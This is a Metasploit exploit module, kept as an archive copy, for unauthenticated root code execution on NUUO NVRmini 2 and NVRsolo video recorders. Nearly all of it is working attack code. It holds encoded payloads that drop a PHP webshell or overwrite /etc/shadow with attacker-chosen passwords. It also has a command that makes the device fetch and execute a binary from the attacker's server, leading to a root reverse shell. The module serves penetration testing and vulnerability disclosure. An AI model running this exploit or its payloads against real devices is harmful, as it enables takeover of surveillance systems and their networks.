##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework.

require 'base64'

# This payload drops a PHP webshell in /NUUO/web/shelly.php, which is accessible at http://<TARGET>/shelly.php
# All commands run as root.
WEBSHELL = "AQQBAAAAAY2ht2HWPMNyYfcyiJZNK5gKAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAEqI6vO285g9jTEJnLEU6uSfcaGFVrwSo/Gh\nw3pLVDQD+O06eovinidp2M95q70jsFaazKKxpjQwtr8on2TXZigHXDsYRIYy\n+6mcjLV1eyEipS/L+9SPBBXbxc+bBbgIn6TxryLXtq/JB+2f8YRaLlPKX2wN\nVPsjr3tjxkSMQ1AyaYXm13+X8l4kUmJ2jLy/zaP7YkOgCk+KB/0g4kv3lGzo\n1T7ZGsVP/fisUASdgKydD3uRdDtNyZ/rR+eBAM+0EzqeUqi+Oh67iFQvDOge\nVhbpOqntJ9sCm89wC9Ob6+nZ8grzr1QMHSfT6uezTPRAlfnjrc1a1KSoxEan\ncqUWbyDGs4D6Mj1q7uABwfdfd6/3GrijS1E4P6so9xz8ESP92l0xwFjL+GuB\niEATYe5Thq/0jkAhwb4I1LDrYXwp/QA6oGw8SrZ4yxGU5FX9+xoyBq4n/lBh\neWd9yXykGw7vxEV7cCwp7U/1wLrNlCC2NQnNV3SffELVw1ogzMM02UVWhWTn\nJubMuzX4VZQdhswNBdo1qfTo+8VO3Qa1se9kuWEhP8SNry1EiILqnEZCDXE2\nbu3BprHzRvJxQsd+kwL2MeIPKd/Z0Mc6l+LGjfQzqykaQsd+kwL2MeJCx36T\nAvYx4kLHfpMC9jHiQsd+kwL2MeJCx36TAvYx4kLHfpMC9jHi".freeze

# This payload resets the admin password to "password" and sets the root password to "YouveBeenOwned".
# The root user can login via SSH, but the admin user can only login to the web interface.
SHADOW = "AQQBAAAAAzwl09cIC9ag56ZTkKaxa3dnAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAEuN9iwvYtp59dUGEtUO8U99Ttlh0YKWXfGh\nw3pLVDQD+O06eovinidp2M95q70jsFaazKKxpjQwtr8on2TXZii/qgDZp5Pk\nRqmcjLV1eyEiQD6Gt2yglcb0zCk7lQYyBRcVW3dtcou+KKtadakh3tIlMZgY\nFXptlfGRapDAKOxI9Ov0/6TR656mJz0ju+2fm4oOMmwB9EXaYn9TO2lDn3kk\niXwkWlEOA9S3fposo6Setd7v83RYJmlIWuLtcRXpRin2jyGsnj1bvck2wZPg\nPVAlqnklN2NWpxBlOnovGaeydwes5q6T4F0bKKJvI9WXWsLGJZ/RKfHpEwgi\nG35CVF5/1XyOmr07gPi0hURw/aRIvHbEM6PdXecunZBS0z/JFP4ROpdfDSGS\n4/2S2v1ba9BmUOEAxxxjb+AuaYlgrIKYOPn5fQ9ECNpceneS5pxWZSEuTShp\nR8Viv1QdPkeQGMugdK+PR0uQtIplXhCTHB/6qOtT6h4pssekcyrewDZGFDVI\nbcRh7lL9ngK/nTtNnWbzuOq0RHL0G/IIof0Prgkxy0eO68QYB4deL03ew+BZ\nHKfNwVOEm56OxQaJQnbOp4tPBy4OqEYSSGwQPIjf/s0+VnqLHZyeFNRDJ7Na\nTFioz6JWb+IRqKcp5NRAGij/76tHGelfWJBPZhclKuH8G8ZETTU3FqZxtlX3\nB+hrl945YAt1w7Pk5Y81JMf7BFcDOq/qiinOzBZ3epm+pe2kzeuX6Of6MisQ\nKnlPa+jn/MwGwYV6oHzrgX1e5XvAEeGhGA8Z7z5t+ashXs1RQSElN+MppKdx\niRc8GMZoCHIluGeHYuYjPB6xvNUUfaWjWolrABpytkux0oc/7ioIvSv7Yl1J\nsxMRCgsW6292+ZDwE9se4a6m/BY8jrcOX5x2gR7n/DHcVBUKn26Aolfw5yzj\nmCrhK/Pe4pFmymkSWgLY9U6tzVKI5k3MtpnsJYZqr98WD9WlXBYRUtotTltl\nIYEBg4V1rQKgaO5iX087powFDlozQyQlf0EBkaenBASC5iy0XNAjmEk5E4wP\nQU7mA1GXA1wWEVnXHRsPKFmj00yolmta+tFoxrCcSZ8Kq4v8bJYF4LKmnhCA\niww/CP27t1a3kAgyeORIej+8ebJ+ICxgRlxwE/yM1xZ08wt5/IzXFnTzC3k2\nvyoBasJssVtJxtJldxBo".freeze

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NUUO NVRmini 2 / NVRsolo Unauthenticated Remote Code Execution (2022)',
        'Description' => %q{
          NUUO's NVRmini2 recorder contains a chain of flaws that allow an unauthenticated
          attacker to execute code as root in all publicly released firmware versions.
          The first link in the chain is an unauthenticated file upload, which gets decrypted
          and then untar'ed. During the untar process we abuse the second flaw, a very old
          directory traversal in busybox's tar to drop a file in /NUUO/web/shelly.php.
          This contains a web shell that we use to download and execute our payload as root.
          The web shell is deleted after we receive our beatiful reverse shell.
          Note that the web shell technique is for firmware v2.0.0 and above.
          For firmware v1.7.6 and below, we instead overwrite /etc/shadow to change the root
          password, after which you can login via SSH with root:YouHaveBeenOwned.
          While these two firmware targets (>= v2.0.0 and <= 1.7.6) are provided in this module,
          for the older firmware (<= 1.7.6) it is recommended to use nuuo_nvrmini_unauth_rce.rb
          Metasploit module from 2016 instead, as it is more reliable.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          ['CVE', '2022-23227'],
          ['CVE', '2011-5325'],
          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd'],
        ],
        'DefaultOptions' => { 'WfsDelay' => 5 },
        'Targets' => [
          ['NVRmini2 v2.0.0 and above', {} ],
          ['NVRmini2 v1.7.6 and below', {} ],
        ],
        'DefaultTarget' => 0,
        'Platform' => 'linux',
        'Arch' => ARCH_ARMLE,
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2022-01-12',
        'Notes' => {
          'Stability' => CRASH_SAFE,
          'Reliability' => ARTIFACTS_ON_DISK,
          'SideEffects' => REPEATABLE_SESSION
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Application path', '/']),
        OptString.new('SRVHOST', [true, 'IP address for the HTTP server', '0.0.0.0']),
        OptString.new('SRVPORT', [true, 'Port for the HTTP server', '4445']),
      ]
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'handle_import_user.php'),
      'method' => 'GET'
    })
    if res && (res.code == 200) && res.body =~ (/There was an error uploading the file/)
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Unknown
    end
  end

  # request handler for our web server
  def on_request_uri(cli, _request)
    print_status("#{peer} - Sending the payload to the device...")
    @pl_sent = true
    send_response(cli, @pl)
  end

  def payload_prep
    # payload prep
    @pl = generate_payload_exe
    @pl_sent = false
    resource_uri = '/' + rand_text_alpha(10..15)

    # do not use SSL
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
      srv_host = Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
    print_status("#{peer} - Starting up our web service on #{service_url} ...")
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => resource_uri
      }
    })

    datastore['SSL'] = true if ssl_restore
    print_status("#{peer} - Asking the device to download and execute #{service_url}")

    filename = rand_text_alpha_lower(rand(2..9))
    cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
    sleep 3
    cmd
  end

  def send_cmd(cmd)
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'shelly.php'),
      'method' => 'GET',
      'vars_get' => {
        'cmd' => cmd
      }
    })
    res
  end

  def exploit
    # select our target and payload
    if target == targets[0]
      payload_enc = Base64.decode64(WEBSHELL)
    else
      payload_enc = Base64.decode64(SHADOW)
    end

    # create post data to be sent to the server
    post_data = Rex::MIME::Message.new
    post_data.add_part(rand_text_alpha(5..12),
                       nil, nil,
                       'form-data; name="tmp_name"')
    post_data.add_part(payload_enc,
                       'application/octet-stream', 'binary',
                       "form-data; name=\"upload_file\"; filename=\"#{rand_text_alpha(6..10)}\"")

    print_status("#{peer} - Uploading initial payload...")
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'handle_import_user.php'),
      'method' => 'POST',
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    if res && (res.code == 200) && res.body !~ /wrongfile/
      # it should return "import user: open imported user file failed"
      # if it returns "import user: wrongfile" then we failed

      if target == targets[0]
        # if this is a WEBSHELL target, verify that shelly is there...

        res = send_cmd('whoami')
        if res && (res.code == 200) && res.body =~ (/root/)
          # use shelly to deploy final payload, and remove it afterwards

          print_good("#{peer} - We now have root access via /shelly.php, using it to deploy payload...")
          register_file_for_cleanup('/NUUO/web/shelly.php')
          send_cmd(payload_prep)

          counter = 0
          until @pl_sent
            sleep 1
            counter += 1
            if counter > 60
              fail_with(Failure::Unknown, "#{peer} - Failed to get the device to download the payload...")
            end
          end

          print_good("#{peer} - Shell incoming!")
          handler
        else
          fail_with(Failure::Unknown, "#{peer} - Failed to get root with shelly")
        end
      else
        # otherwise just let the user know that we're done!
        print_good("#{peer} - /etc/passwd uploaded. You can now login via SSH with following credentials:")
        print_good("#{peer} root:YouHaveBeenOwned")
        print_status("#{peer} - Note that the admin user password has also been reset to the default \"password\"")
      end
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to upload initial payload")
    end
  end
end
